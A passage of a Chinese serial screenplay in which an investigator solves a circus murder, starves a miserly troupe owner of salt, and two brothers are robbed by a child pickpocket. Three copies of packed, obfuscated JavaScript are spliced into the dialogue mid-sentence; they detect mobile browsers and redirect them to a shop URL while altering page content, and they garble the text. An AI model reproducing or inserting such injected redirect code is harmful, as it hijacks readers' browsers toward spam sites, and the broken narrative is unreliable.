张正清:他是外国人,走南闯北、居无定所,通常不会把钱存在咱们的钱庄里。 洛宁:唉,那怎么办?总不能一直这样僵持下去吧? 张正清:只要肯动脑筋,办法总是会有。 洛宁:怎么?你有主意了? 张正清:(冲她挤挤眼)嘿嘿,等着瞧吧! 68. 第七篇 神奇的魔术师 梁州,竞技场 7-71 树林(夜,外) 人物:俏四娘、守卫若干 深夜,竞技场外,守卫们正在换岗,却听不远处传来女人的惨叫声。 俏四娘:救命呀!救命呀!有人要杀我! 守卫们上前一看,只见一个满脸是血的女人,朝这边跌跌撞撞地跑了过来,她的身后跟着几个黑影。守卫们举起火把,定睛一看,顿时吓出了一身冷汗。 众守卫:是狮子!马戏团的狮子跑出来了! 狮子追上了那个女人,将她扑倒在地,撕咬着她身上的肉,眼看着那个女人快要死了,守卫们不得不壮起胆子,挥舞着手中的火把和刀剑,试图驱散狮子。狮子像是饿极了,怎么都赶不走,甚至还反过来扑咬守卫们。就在这时,不远处传来一声口哨,狮子仿佛受到了召唤,纷纷抬起头,往哨声的方向奔去。守卫们这才救下那个女人,发现她已奄奄一息。 梁州,茂源城 7-72 马车车厢(日,内) 人物:张正清、洛宁 天刚亮,洛宁便被张正清叫了起来,赶去县衙。 洛宁:(揉揉眼睛)张大哥,这会儿去县衙是不是有点儿早了?熊大人还没起床呢! 张正清:刚刚接到消息,昨晚在竞技场里,又发生了一起……嗯,意外。 洛宁:(一下子清醒过来)又发生了一起? 张正清:马戏团的狮子从笼子里跑了出来,袭击了俏四娘,差点儿把她当成夜宵给吃了。 洛宁:不用说,肯定是薛老板的同伙儿,想要杀人灭口! 张正清:那个同伙儿已经被熊大人抓起来了。 洛宁:谁? 张正清:驯兽师富真,那些狮子就是他养的。 洛宁:你刚才说“嗯,意外”,是什么意思? 张正清:富真说笼子的锁坏了,他还没来得及修好,原以为狮子不会跑出来,没想到它们却跑出来了。 洛宁:你怀疑那些狮子是他故意放出来的? 张正清:昨晚在竞技场的守卫说,俏四娘在被狮子追赶时,嘴里嚷嚷着有人要杀她。 洛宁:这个人是富真吗? 张正清:恐怕只有俏四娘知道。 洛宁:她怎么样了? 张正清:伤的很重,不过还活着。 洛宁:啧啧,这个演出团可真邪门,一会儿是动物、一会儿是人,接二连三地出了事。要我说,还是趁早把他们送走了吧! 张正清:我又何尝不是这么想呢!唉! 7-73 县衙,大牢(日,内) 人物:富真、衙役若干 面对审问,富真一脸平静地替自己辩解。 富真:笼子坏了,没有及时修好,是我的疏忽。可这件事演出团里人人都知道,并不是只有我才能把它们从笼子里放出来。 梁州,竞技场 7-74 帐篷(日,外) 人物:张正清、洛宁、陈仵作 演出团的帐篷,分列在竞技场的两旁,一边居住着歌舞团的人,另一边居住着马戏团的人。 洛宁:奇怪!俏四娘是歌舞团的领队,她的帐篷位于竞技场的右侧,与马戏团之间尚有一段距离,那些狮子为何没有跑去别的帐篷里、而偏偏跑去了她的帐篷里? 张正清:那些狮子都是受过训练的。 洛宁:我听胡大哥说,昨晚袭击俏四娘的那些狮子,不是被守卫们赶走的,而是被口哨声引走的。如此说来,驯兽师岂不是救了俏四娘? 张正清:既然马戏团的笼子,人人都能打开;那么驯兽师的口哨声,人人也都能模仿。 洛宁:会是谁呢? 陈仵作:(从俏四娘的帐篷里走出,手里拿着一个碗)洛姑娘,你瞧瞧,这是什么? 碗里有一坨深红色的泥巴,洛宁伸手取了点儿,放在鼻尖嗅了嗅。 张正清:是什么? 洛宁:是一些药粉,用猪血调和的。 张正清:干什么用? 洛宁:应该是用来敷脸的。 张正清:(皱眉)这种东西也敢往脸上涂,不嫌恶心吗? 洛宁:张大哥,你说那些狮子会不会是被猪血的气味儿吸引过来的? 张正清:守卫说,俏四娘向他们求救时,满脸都是血,昨晚袭击她的狮子不止一头,如果被它们抓住的话,凭她的力气,是很难挣脱的。 洛宁:所以说,她脸上的血,不是她自己的血,而是猪血。 张正清:难怪狮子会追着她不放呢!唉,你们这些女人,爱美的话,是不是也该有个分寸?用完了猪血,是不是还打算再用用人血呀? 洛宁:(冲着他做了个鬼脸)只有你想不到的,没有我们不敢用的。嘻嘻! 因为说不清到底是人为还是意外,熊知县只好先放了富真,待俏四娘苏醒之后,再作打算。 7-75 帐篷(夜,内) 人物:孟悲欢、富真、熊知县及其手下 富真从外面打水回来,见孟悲欢站在笼子前,望着里面的狮子。 富真:孟先生? 孟悲欢:你让它们饿了三天,对不对? 富真:什么? 孟悲欢:娜娜发疯,并不是一桩意外,对不对? 富真:孟先生,我听不懂你在说些什么。 富真的嘴上虽这么说,眼神却渐渐变得凌厉。 孟悲欢:一切都是因为薛老板太贪心了,对不对? 富真:孟先生,你到底想说些什么? 孟悲欢:如果俏四娘醒了,她会不会把你们那晚杀害管家的事说出来呢?她与你合谋,按理不该说,可你想杀她灭口,情况就变了。 富真:(冷笑一声)那晚是你在吹口哨吧?如果你不多管闲事的话,她这会儿早就死了! 孟悲欢:知道真相的人这么多,你杀得完吗? 富真:杀了你之后,就再也不会有人知道了! 富真朝孟悲欢扑了过去,两个人扭打在一起。孟悲欢的个头儿虽高,力气却远不如富真,很快便被他摁在了地上。富真的拳头如雨点般落下,孟悲欢起初还挣扎了几下,后来便一动不动了。见他昏死过去,富真抄起铁钩,对准他的头,狠命地一敲,孟悲欢就断气了。 富真:哼,这下我倒要看看,还有谁敢威胁我…… 话音刚落,身后传来一个熟悉的声音。 孟悲欢:熊大人,您可看清楚了,这家伙想杀我! 富真吓了一跳,低头一看,那个被他打死的孟悲欢,竟变成了一个枕头,而真正的孟悲欢,正站在熊知县的身边,冲着他笑呢! 富真:怎……怎么会这样? 孟悲欢:呵呵,富真,你可不要忘了,我是个魔术师哟! 熊知县:给本官拿下! 公差们一拥而上,将富真擒住。 熊知县:富真,这下你还想狡辩吗? 富真:(恶狠狠地瞪着孟悲欢)是他故意陷害我! 熊知县:就算没有他,本官也照样要抓你。俏四娘已经醒了过来,她告诉本官,管家是你杀的! 梁州,郊外 7-76 马路上(日,外) 人物:于烈、孙捕头、捕快若干 几个官差模样的人一路策马前行。 孙捕头:(指着空中)大人,您瞧!好大的一只鸟! 于烈:那不是鸟,是风筝。 孙捕头:风筝?怎么会有这么大的风筝?我长这么大,还从来没见过呢! 于烈:我听说凤凰城这几日正在办风筝节,不如今晚我们在这里住下,我给你们放一天假,你们也去凑凑热闹。 众捕快:好啊好啊!大人,咱们快走吧! 梁州,凤凰城 7-77 督察府,前门(日,外) 人物:于烈、田佳 于烈只身来到督察府,正碰见田佳从里面跑出来,手里拿着一只风筝。 于烈:田姑娘? 田佳:咦?于大人!您怎么来了? 于烈:我路过凤凰城,过来拜访一下张督察。 田佳:呀,您来的可真不巧,他出去了。 于烈:哦,是吗?那洛姑娘呢?她在不在? 田佳:她也跟他一起出去了。 于烈:(显然有些失望)这样啊,那他们什么时候回来? 田佳:我刚刚接到消息,说是那边的案子已经告破,不过还有些事情没办完,怕是要再耽搁几日。 于烈:这么说,他们今天应该回不来了? 田佳:是啊!您若是有什么事,不妨告诉我,我替您转达。 于烈:哦,倒也没什么事。 田佳:于大人,您瞧瞧我这个风筝,扎得怎么样? 于烈:嗯,挺不错。 田佳:于大人,凤凰城这几日正在办风筝节,您既然来了,不妨也过去瞧瞧吧,可热闹了! 于烈:哦,不了!我的手下还在城外等着我,我就不去了! 田佳:哦,那行吧!您慢走! 7-78 天地会总会,前门(日,外) 人物:于烈、余守泰 离开了督察府,于烈正打算回客栈,当路过一户人家的宅院时,一股子木兰花香,随风飘来。 于烈:洛姑娘?(抬头望了望眼前的宅院)这不是洛府吗?难不成她在家? 他想进去瞧瞧,又找不到合适的理由,在门外踌躇了半天,见里面出来一个人,便上前问道。 于烈:这位大哥,在下刚刚路过这里,忽然闻到了一股非常奇妙的花香,想请问一下您,这股花香从何而来? 余守泰:这位公子,您是外地人吧?难怪您会不知道!这股花香是从咱们府里的那棵神树上散发出来的。 于烈:神树?我还以为是从人的身上散发出来的呢! 余守泰:人的身上也有!洛府的二小姐,您听说过没?她的身上天生就是这个味儿! 于烈:天生? 余守泰:对呀!宁姑娘从一生下来,身上就自带一股花香。她虽然是在聚胜古都长大的,可身上的花香,却跟咱们府里的这棵神树一模一样,您说巧不巧? 于烈:呵呵,可真是太巧了!如果有缘的话,我真想见一见她。 余守泰:人家可是洛府的二小姐,岂是谁想见就能见的? 于烈:这位大哥,在下并没有冒犯洛姑娘的意思,只因心中好奇,想远远地看上一眼。 余守泰:今儿不行,她没在家。不过您若是想瞧瞧那棵神树,我倒是可以给您带个路。 于烈:这样行吗? 余守泰:若换成别人肯定不行,但公子您的运气好,偏偏碰上了我。实话告诉您吧,在下是洛府的花匠,那棵神树如今归我照料,我想带一两个人进去长长见识,倒也不是什么难事儿。 于烈:是吗?那就有劳这位大哥了! 7-79 洛府,木兰小院,木兰花树下(日,外) 人物:于烈、余守泰 于烈跟着余守泰来到了木兰小院,望着满树绽放的木兰花,于烈十分惊讶。 于烈:这个季节,木兰花应该已经谢了,为何这棵树上的木兰花却开的如此绚烂? 余守泰:要不怎么说它是一棵神树呢! 于烈:这么美的花,能让我摘两朵带回去吗? 余守泰:这个恐怕不行!人家洛堂主特意交代过了,树上的花,一朵都不能少。您若是摘走了,我可是要挨骂的。 于烈:是吗?那真是太遗憾了! 7-80 客栈,客房(日,内) 人物:于烈 从洛府回来后,见手下的那些人还没回来,于烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007415|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便泡了一壶茶,在屋里看书。他不管去哪里,都习惯于带上几本书,闲来无事时翻看一下。只是今天,他的心有些乱,总是惦记着那股木兰花香。 于烈:(笑叹)呵呵,天底下终于有一件事能让我分神了。 想到这里,他索性合上书,走到窗前,仰望远处天空上的风筝。那只巨型风筝就像一朵乌云,遮住了太阳,上面似乎还悬着一个人,她衣袂飘飘,犹如天女下凡,不断地将花瓣洒向地上的人们。 于烈:呵呵,凤凰城这个地方,果然比京城有趣多了! 梁州,竞技场 7-81 帐篷(日,内) 人物:薛汉、成员若干 富真被抓之后,薛汉也被放了出来。这一日,他派了两个演出团的人去城里买盐,一天过去后,他俩空着手回来了。 薛汉:咦?你俩怎么空着手呀?我不是让你们去买盐吗?盐呢?你们可别告诉我,你们拿着我的钱去找乐子了! 成员甲:(掏出钱袋子)老板!您的钱都在这里,分文未少! 薛汉:分文未少?什么意思?你俩去没去盐庄呀? 成员乙:我俩去了,可人家说盐没了,让我们改天再去。 薛汉:城里又不是只有一家盐庄,这家没有,你俩不会去别家买吗?真是死脑筋! 成员甲:城里的盐庄我俩都跑遍了,都是一样的说法。 薛汉:一样的说法?怎么可能!肯定是你俩又在半路上开小差了!说!你俩去哪儿了? 成员乙:我俩真的只去了盐庄,可不管到哪一家,都说没有。 薛汉:你俩当我是三岁小孩吗?像这种愚蠢的借口,我才不会信呢! 成员甲:您若不信的话,可以自己去瞧瞧嘛! 薛汉:去就去!如今我已经洗脱了嫌疑,就算是知县大人见着我,也不敢把我怎么样!哼! 梁州,茂源城 7-80 盐庄(日,内) 人物:薛汉、伙计 薛汉来到盐庄里。 薛汉:伙计,给我来几包盐。 盐庄伙计:您是薛老板吧?真不好意思,小店的盐卖完了! 薛汉:卖完了?(指着伙计身后的柜子)那柜子里面是什么?难道不是盐吗? 盐庄伙计:那些是酒楼里订的货,人家已经付了钱,过两天就要来取。 薛汉:你不是还要进货吗?你先把那些盐卖给我,等他们来了,货也到了。 盐庄伙计:这可不好说。咱们收了人家的钱,总不能让人家白跑一趟吧?薛老板,您还是去别家瞧瞧吧! 无奈之下,薛汉只好又去了另一家盐庄,结果同样被告知没货了。 薛汉:怎么会这样?刚才出去的那个人,手里不是拿着几包盐吗?怎么我一来,就没货了? 盐庄伙计:最后的那两袋,被那个人一下子全买走了。您还是过几日再来吧! 薛汉跑了一家又一家盐庄,都是同样的没货。他心里觉得纳闷,却又不知为何,便悄悄地躲在最后那家盐庄的门外,想瞧瞧它是不是真的没盐了。不一会儿,又来了一个客人,盐庄伙计二话不说,从柜子里拿出几袋盐,卖给了他。 薛汉:(立刻冲进盐庄里,指着伙计骂)岂有此理!你店里明明有盐,为何不卖给我?是不是见我从外地来的,所以就觉得我好欺负呀? 盐庄伙计:薛老板,我们为何不敢把盐卖给您,您的心里应该比我们更清楚! 薛汉:为何? 盐庄伙计:这是知县大人的意思,要不您去问问他吧! 7-81 县衙(日,内) 人物:薛汉、熊知县 薛汉气冲冲地来到县衙,找熊知县问个究竟。 薛汉:知县大人,你为何不许他们把盐卖给我?我又不是不给钱! 熊知县:钱不是万能的。 薛汉:可不吃盐是万万不能的! 熊知县:不对吧!薛老板,你不是向来把钱看得比命更重吗?有钱就行了,还吃什么盐呢! 薛汉:你……噢,我明白了!你是在故意卡我呀!不就是因为我没付赔偿金吗? 熊知县:不着急!这笔钱本官先替你垫上,你什么时候把钱凑齐了,什么时候再还给本官! 薛汉:我要离开茂源城! 熊知县:这个恐怕不行!官司未了,本官若放你走了,怎么跟苦主交代呀? 薛汉:那你让他们把盐卖给我! 熊知县:薛老板,凡事总要有个先来后到吧!等赔偿金的事解决了,你的盐自然就有了。 薛汉:你你你!简直是个无赖! 梁州,竞技场 7-82 帐篷(夜,内) 人物:薛汉、成员若干 薛汉气呼呼地回来了。 成员甲:没有盐的话,怎么吃饭呀?再这样下去,咱们演出团只好散伙儿了! 成员乙:老板,要我说,您还是答应人家吧!钱这个东西,有去就有来,等咱们离开了茂源城,很快就能再挣回来。 薛汉:可我舍不得呀!那么一大笔钱,一下子全给了他们,这不等于要了我的老命吗? 成员甲:不吃盐的话,同样要命! 成员乙:反正没盐吃的话,我们就不干了! 成员甲:对呀!演出那么辛苦,若连一口盐都吃不上的话,挣再多的钱又有何用? 成员乙:吃不上盐的话,还能勉强捱上几日,如果连米面油都买不到的话,怎么办呀? 薛汉:行了行了!你俩别说了!容我再考虑考虑! 成员乙:老板,盐缸已经见底了,您老还是快点儿拿个主意吧! 犹豫了良久,薛老板方才狠下心来,答应赔付,钱交了之后,熊知县方才签发文书,放演出团的人离开茂源城。薛老板似乎一刻也不肯多待,连夜便带着他们走了。 69. 第七篇 神奇的魔术师 梁州凤凰城 7-83 天地会总会,听雨轩(日,内) 人物:洛宁、洛青、洛思思 洛宁叹了口气。 洛宁:唉,我要是早两天回来,不就能赶上风筝节了吗? 洛青:没有你,风筝节办得更热闹,因为没有人会捣乱。 洛宁:(嘀咕)没有我才没意思呢!(见洛青正瞪着自己,急忙岔开话题)那个……欧阳兰兰的巨型风筝怎么样?有没有把她送进凌霄宝殿里去? 洛思思:嘘,快别提了!欧阳兰兰回到家之后,还大哭了一场呢! 洛宁:怎么?难不成还有别的风筝比她的更大? 洛思思:她的风筝就像一头座山雕,别的风筝在它面前,就像蚂蚁一样微不足道!全场的人都盯着她看,可谓是出尽了风头。 洛宁:那她还哭什么呀? 洛青:唉,还不是因为她把自己也拴在了风筝上,飞得那么高又那么远,整个人从头到脚,被太阳晒成了黑炭! 洛宁:啊?!哈哈哈哈…… 她放声大笑,洛青和洛思思也跟着笑了。 7-84 洛府,木兰小院,鬼屋(夜,内) 人物:洛宁、银华、金鹏 银华和金鹏在喝茶,洛宁手里拿着笔,在纸上涂涂写写。 洛宁:嗯,画完了! 银华:画完了吗?快给我瞧瞧! 二人围着洛宁,一页页翻看画本。 银华:你怎么在第一页上画了头大肥猪呀?丑死了! 洛宁:丑归丑,若没有它,这个案子也就不会发生了。 银华:这个案子里有大象有狮子,什么时候又多了一头大肥猪?它干了什么坏事?把人家地里的白菜全拱了吗? 洛宁:它太贪心了!为了钱,什么缺德事儿都干得出来! 银华:我知道它是谁了,是不是那个演出团的老板? 洛宁:猜对了! 金鹏:快说来听听!他都干了些什么? 洛宁:他明知道娜娜病了,但为了钱,他还是坚持让它上场。 银华:连动物都不放过,果然很缺德呀! 金鹏:娜娜既然病了,又怎么会突然发疯? 洛宁:薛老板给它喂了药。 银华:什么药? 洛宁:一种用天堂草制成的药丸。 银华:(皱眉)天堂草?这个名字有点儿耳熟,像是在哪里听说过…… 金鹏:是什么东西? 洛宁:就像它的名字一样,吃过之后,会有种飘飘欲仙的感觉。 银华:那不是好事吗? 洛宁:正因为是好事,才会越吃越上瘾,一旦吃多了之后…… 银华:(接过话头)就会像娜娜一样,突然发了疯? 洛宁:(点头)没错! 银华:薛老板在想什么呢?他是不是一下子给它喂了满满一麻袋的药啊? 洛宁:他只给它吃了十颗,以大象的个头儿来说,这个药量应该还不足以使它发疯。 金鹏:那是怎么回事? 银华:(手指着画本)这个男的是谁?他站在娜娜旁边干什么呢? 洛宁:他叫富真,是马戏团的驯兽师。演出之前,薛老板假意询问娜娜的情况,叫走了良宵,让管家溜进帐篷里,把药丸喂给了娜娜。而这一幕,偏偏被富真看见了。 银华:若要人不知、除非己莫为,干坏事果然没有好下场! 金鹏:富真在干什么? 洛宁:他在管家走后,又给娜娜多喂了十颗药丸。 银华:薛老板是为了财,他又为了什么? 洛宁:他最初的目的,只是希望他驯养的狮子能取代娜娜,成为马戏团的明星。这样的话,薛老板就会像求着孟先生一样求着他了。 银华:仅仅是为了争风吃醋吗? 洛宁:除此外,薛老板为人吝啬,总是以这样那样的理由克扣他们的工钱,演出团的人其实早就对他心怀不满了。 银华:成也是钱、败也是钱,呵呵! 金鹏:(手指着画本)这个女的是谁?富真的老婆吗? 银华:你怎么看出是他的老婆? 金鹏:两个人在说悄悄话呢! 洛宁:嘻嘻,她不是富真的老婆,而是薛老板的老婆。 银华:不是他的老婆,你把他俩画得这么亲密,肯定有鬼! 空中响起一道惊雷。 银华:唉,这个老天爷,又来凑热闹了!(冲着窗外喊)喂,你给我安静点儿!这里没你什么事! 洛宁:嘻嘻,老天爷也想听我讲故事呢! 金鹏:那你快说吧! 银华:行呀!金鹏,胆子比之前大多了呀!这里可是鬼屋,你不怕吗? 洛宁:又在胡说!你还想不想听呀? 银华:当然想了!你快说吧!这两个人怎么勾搭成奸的? 洛宁:薛老板又老又抠,俏四娘早就对他心生厌倦了。那天她路过帐篷,碰巧看见了富真在给娜娜喂药,便以此相胁,约富真在小树林里见面。 金鹏:(手指着画本)可这一页上画的是个老男人呀!该不会被薛老板发现了吧? 银华:发现了的话,他还会搂着她吗? 洛宁:这个老男人是薛老板的管家。 银华:又跟管家好上了,她可真是老少通吃呀! 洛宁:她是薛老板的老婆,哪里看得上管家?只不过她与富真的对话,又被管家听了去,便在富真之前,先赶到了小树林里,逼着俏四娘委身于他。 银华:想换个口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007416|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味儿尝尝,没想到还是那个味儿。哈哈哈! 金鹏:(手指着画本)他俩把管家给杀了! 洛宁:(点头)嗯。俏四娘被管家占了便宜,心里万分不痛快,又担心管家向薛老板告密,便跟富真商量,打算除掉管家。她假装向管家示好,管家不知是计,以为她真的对他有意,这么好的事,哪有不答应的道理?趁着他被俏四娘迷得神魂颠倒之际,事先躲在帐篷里的富真,用一把灯盏,结果了他的性命。 银华:金鹏,听见没?色字头上不是一把刀,而是一把灯盏。呵呵! 金鹏:(手指着画本)管家死后,薛老板被当成凶手抓了起来,俏四娘便跟富真在一起了。 银华:原来你们张督察也有犯糊涂的时候呀! 洛宁:他的心中另有打算。 金鹏:什么意思? 洛宁:薛老板不是一直拖着不肯支付赔偿金吗?他想用这个办法,逼他就范。 银华:我听说演出团已经离开了茂源城,你们张督察的办法奏效了? 洛宁:他命令城里所有的盐庄,都不许把盐卖给薛老板。 银华:(忍不住笑了)呵呵,像这样的损招儿,也就只有他能想得出来。 金鹏:甭管黑猫白猫,能抓住老鼠的就是好猫。像薛老板这种一毛不拔的家伙,就该有人治治他! 洛宁:所以他便乖乖地付了钱。不过有件事,我至今仍然想不通。 银华:什么事? 洛宁:薛老板的钱到底藏在哪里?之前熊大人把整个竞技场都搜遍了,也没找到他的小金库,可那天他答应支付赔偿金之后,就像变魔术一样,一下子拿出了很多银两。这些东西从哪里来,还真令人不解呀! 金鹏:不会是假的吧? 洛宁:熊大人已经亲自验过了,全是真的。 银华:要我说,只要他把钱给了,管它是从哪里来的,都不重要了!呵呵! 7-85 洛宏的私宅(夜,内) 人物:洛宏、不觉 不觉从外面进来,手里攥着一个口袋。 不觉:(将口袋放在洛宏面前的桌子上)主人,这是您要的东西。 洛宏:咒语你学会了吗? 不觉:已经牢记在心了。 洛宏:嗯,那就好。(拿起口袋,眯着眼打量)这么好的一样宝贝,只用来装金银财宝,实在是太浪费了。 不觉:我见薛老板从口袋里掏出了很多银两,这个口袋只有巴掌大一点儿,怎么能装得下那么多东西? 洛宏:知道我为何让你去偷这个口袋吗? 不觉:为何? 洛宏:你听说过镜花水月吗? 不觉:那座凭空消失的城邦? 洛宏:(点头)嗯。我怀疑,它就在这个口袋里。 70. 第八篇 桂先生的药 梁州,凤凰城 8-1 天地会总会,和敬堂,金鹏和余守泰的屋子(夜,内) 人物:余守泰、金鹏 临睡前,余守泰笑嘻嘻地问金鹏。 余守泰:鹏子,你明天有空吗? 金鹏:怎么了? 余守泰:哥给你物色了一个姑娘,长得老漂亮了…… 金鹏:(想都没想一口回绝)我没空! 余守泰:你瞧瞧你,又在钻牛角尖了吧?你喜欢宁姑娘,哥又没拦着你,可喜欢归喜欢,自己的终身大事,是不是也得早点儿解决呀? 金鹏:这边喜欢宁儿、那边又跟别的女孩好上了,我是这样的混球儿吗? 余守泰:皇上还三宫六院七十二妃呢!若照你这么说,皇上岂不是天底下最大的混球儿了? 金鹏:(呵呵一笑)也就只有你敢这么说。 余守泰:不过是去见上一面而已,合得来就处、合不来就不处,又没说非要你娶她,这么简单的事,想那么多干嘛? 金鹏:(急着睡觉,便顺口答应了)那行吧,我明天跟你去一趟。不过先说好,在宁儿面前,你可一定要替我保密。 余守泰:(拍拍胸脯)这个你放心!哥哥向你保证,这件事除了咱俩之外,再不会有第三个人知道! 8-2 街道上(日,外) 人物:金鹏、余守泰、伍灵儿、百姓若干 余守泰在街口等着金鹏。一会儿,金鹏来了,见他的穿着十分随意,余守泰皱起眉头。 余守泰:你怎么穿成这个样子?昨儿我不是跟你说了、让你好好地收拾一下吗? 金鹏:我平常就是这个样子,你若是觉得丢人,干脆你自己去吧! 余守泰:人家要见的是你,我去算什么事呀? 金鹏:(开玩笑)没准儿人家一眼就相中你了呢! 余守泰:又在拿我取笑!(二人边走边说)今儿我要带你去见的这位姑娘,她的岁数跟宁姑娘差不多,在梨树湾那一带是出了名的贤惠,你若见了,肯定喜欢。 金鹏:你怎么认识她的? 余守泰:我手下的一个花匠碰巧就住在那边,他老婆跟这位姑娘的家里还沾点儿亲戚。 金鹏:这位姑娘的家里有哪些人? 余守泰:只有个弟弟,比她小两岁。 金鹏:她没有爹娘吗? 余守泰:这样难道不是好事吗?你若跟她成了,婚后只需养她,无需养她的双亲了。 金鹏:(忍不住笑了)你连这个都想到了,可真有远见呀! 余守泰:咱们哥俩不同于那些大户人家,过日子要精打细算,能省则省! 金鹏:她既然这么好,看上她的人应该也不少吧? 余守泰:那是当然了!只不过在这些人里面,你是最好的! 金鹏:我一个没钱没势的穷小子,也能算最好? 余守泰:你怎么没钱?哥哥我不就在帮你挣钱吗? 金鹏:那点儿钱连你自己都不够花。 余守泰:所以我现在才一个人打两份工,这样的话,不就有你的了吗? 二人在一家铺子前停下,余守泰掏出钱袋,从里面拿了块碎银子递给金鹏。 余守泰:头一回跟人家见面,别空着手,进去买样东西送给人家。 金鹏:哦,行。那姑娘喜欢什么? 余守泰:你不是经常跟宁姑娘在一起吗?她喜欢什么? 金鹏:她喜欢下馆子。 余守泰:除了这个,还有什么? 金鹏:画画。要不我给她买支画笔? 余守泰:画画那种风雅的爱好,不是每一位姑娘都有。 金鹏:那送什么呀? 余守泰:要不你去给她买盒胭脂吧,就挑店里最便宜的。 金鹏:最便宜的?那样岂不是显得太没诚意了? 余守泰:头一回见面,还不知道能不能成,若不能成的话,送出去的东西又不好意思要回来,多不划算呀! 金鹏:(附和地点点头)嗯,也是,就像那件皮大衣…… 余守泰:(不高兴地打断)这都过去多久的事了,你怎么还提呀?那是我不想要回来,免得人家说我们小家子气,我若想要回来,她照样得给! 一个小子从他俩身边经过,突然撞了余守泰一下,接着便撒腿跑了。 余守泰:哎呦喂!(回头方才看清楚)这孩子,怎么走路不长眼睛呀?(又摸摸身上)咦,我的钱袋呢?怎么不见了? 金鹏:肯定被那小子拿了!快追! 金鹏追上了那个小子,一把揪住他。 金鹏:臭小子,你敢偷我们的东西! 伍灵儿:谁偷你东西了?你可别冤枉好人! 余守泰:(气喘吁吁地跟了过来)小小年纪不学好,偷了东西还不承认! 他伸手去摸伍灵儿的身上,却什么也没找着。 伍灵儿:找着了没? 余守泰:咦,怎么没有啊? 金鹏:肯定被他藏起来了!说!藏哪儿了? 伍灵儿:明明是你们自己弄丢了,却非要赖在我的身上。两个大人欺负一个小孩子,真不要脸! 金鹏:你…… 余守泰:少废话!再不交出来的话,我们把你送去官府! 伍灵儿:(突然捂着肚子叫唤起来)哎哟喂,疼死了!(指着兄弟俩)你们……你们居然打人! 他说着便往地上一倒,打起滚来,嘴里唉哟唉哟地叫个不停。 路人纷纷过来围观。 路人:怎么回事?怎么回事? 伍灵儿:(指着兄弟俩对路人)他俩打我!哎哟喂,疼死了!我的肠子肯定被他俩打穿了! 金鹏:胡说!谁打你了? 余守泰:明明是你偷了我们的东西! 怕路人不肯相信,伍灵儿又咬破嘴唇,吐出一口血来。 伍灵儿:咳咳!啊,血!我吐血了!呜呜,我的肠子肯定断掉了! 路人见状,纷纷指责兄弟俩。 路人甲:你俩的心怎么这么狠呀?怎么可以对一个小孩子下这么重的手? 余守泰:我俩根本就没碰他,全是他自己装的! 路人乙:甭管是不是装的,先带他去瞧瞧大夫吧,可别闹出了人命! 兄弟俩无奈,只好扶起伍灵儿,朝医馆走去。 金鹏:(恶狠狠地瞪了伍灵儿一眼)肚子疼是吗?行,我带你去找大夫!我让他把你的肚子剖开,看看里面的肠子是不是真的断掉了。哼! 金鹏只顾着往前走,冷不防被伍灵儿狠命地一咬,疼得他松开手,伍灵儿趁机溜了。 金鹏:臭小子,给我站住!(正要去追,被余守泰拦住) 余守泰:算了吧!这小子的岁数不大,脸皮却厚得很。就算咱们抓住了他,还不知道他又要闹出什么幺蛾子呢! 金鹏:(气呼呼地)咱们的钱被他偷了,怎么能就这么算了? 余守泰:唉,就当是破财免灾了! 8-3 小巷子(日,外) 人物:伍灵儿、赵康 赵康在小巷子里等着伍灵儿。一见到他,伍灵儿便笑了起来。 伍灵儿:怎么样?我的法子不错吧! 赵康:人人都知道你偷了东西,却没有人知道你把东西藏在哪儿了。 伍灵儿:还能藏在哪儿?当然是顺手丢在路边,被你小子捡走了呗!哈哈哈! 伍灵儿一脸的得意。 伍灵儿:东西呢?快打开看看里面有多少银子! 赵康:哎,好嘞! 赵康掏出钱袋,两个人打开一看,里面只装了些细碎的银两。 伍灵儿:才这么一点儿?(眯起眼)康儿,你是不是偷拿了? 赵康:我就知道你会问这个,要不下次换我去偷,你在这里等着我,这样总行了吧? 伍灵儿:(搂住赵康的肩膀)嘿嘿,好兄弟,这样才公平嘛! 8-4 茶楼,雅间(日,内) 人物:金鹏、余守泰、郑嫂子、伍仙儿 兄弟俩来到茶楼时,郑嫂子和那位姑娘已经在雅间里等着了。 郑嫂子:你俩怎么才来呀?人家姑娘都等了老半天了! 余守泰:唉呀,郑嫂子,真不好意思,路上遇到了点儿麻烦,来晚了些。抱歉!抱歉! 郑嫂子的身后,站着一位十八九岁的姑娘,她怯怯地抬起头,飞快地扫了兄弟俩一眼,当与金鹏的目光相触时,她的脸刷地一红,急忙低下头去,抿着嘴偷笑,余守泰见了,心里顿时有了谱,这姑娘八成是看上金鹏了。 郑嫂子:(指着余守泰对姑娘)仙儿,这位就是余大哥。 伍仙儿:(作礼)余大哥好! 姑娘的声音细细柔柔,听得余守泰心头一阵酥麻。 郑嫂子:(指着金鹏问余守泰)余大哥,这位是…… 余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 